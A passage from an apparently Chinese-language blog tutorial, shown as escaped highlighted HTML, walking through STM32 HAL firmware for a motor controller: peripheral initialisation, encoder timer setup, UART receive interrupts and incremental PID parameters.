class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief The application entry point.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval int\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* MCU Configuration--------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Reset of all peripherals, Initializes the Flash interface and the Systick. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Configure the system clock */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Initialize all configured peripherals */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_GPIO_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM3_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_ADC1_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM2_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_UART4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_USART1_UART_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里是一个坑, 详情请看下面的PWM部分的Read_Encoder()\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把屏幕的UART的接受消息打开,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把PID结构体初始化,这里的P I D参数要看自己选择合适的值, 可以根据实际情况适当调节.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 调用PID初始化函数(这个代码我放在结尾吧, 作者是物院实验室某佬)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里最后两个参数是限定I项的, 具体左右可以看代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Infinite loop */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"屏幕串口的uart中断\"\u003e屏幕串口的UART中断\u003c/h5\u003e\n\u003cp\u003e我们通过重定义中断回调函数来实现对HAL的中断回调的使用\u003cbr\u003e\n下面的代码 通过 屏幕串口USART中断来实现 不同状态下 激活/关闭 计时器和电机\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里定义一些变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 电机转一圈所需的Encoder读数累和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1440\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标速度 Encoder读出的真实速度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标位置总读数和 实际位置读数和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 给电机的PWM设定的占空比数值(这里需要每次累加,因为使用的是增程式pid)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Encoder tim 开启解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Time Control tim 开启定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Start_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start the pwm tim 开启pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan 